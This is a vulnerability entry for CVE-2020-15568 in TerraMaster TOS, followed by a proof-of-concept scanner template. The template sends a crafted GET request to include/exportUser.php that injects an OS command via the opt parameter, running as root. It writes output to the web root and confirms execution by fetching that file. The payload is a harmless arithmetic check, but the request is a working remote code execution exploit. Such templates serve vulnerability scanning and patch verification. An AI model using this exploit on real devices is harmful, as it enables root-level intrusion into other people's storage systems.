TerraMaster TOS before 4.1.29 has Invalid Parameter Checking that leads to code injection as root. This is a dynamic class method invocation vulnerability in include/exportUser.php, in which an attacker can trigger a call to the exec method with (for example) OS commands in the opt parameter.
PoC代码[已公开]
id: CVE-2020-15568
info:
name: TerraMaster TOS v4.1.24 RCE
author: pikpikcu
severity: critical
description: TerraMaster TOS before 4.1.29 has Invalid Parameter Checking that leads to code injection as root. This is a dynamic class method invocation vulnerability in include/exportUser.php, in which an attacker can trigger a call to the exec method with (for example) OS commands in the opt parameter.
reference:
- https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/
set:
r1: randomLowercase(10)
r2: randomInt(800000000, 1000000000)
r3: randomInt(800000000, 1000000000)
rules:
r0:
request:
method: GET
path: /include/exportUser.php?type=3&cla=application&func=_exec&opt=(expr%20{{r2}}%20%2B%20{{r3}})%3E{{r1}}
expression: response.status == 200
r1:
request:
method: GET
path: /include/{{r1}}
expression: response.status == 200 && response.body.bcontains(bytes(string(r2 + r3)))
expression: r0() && r1()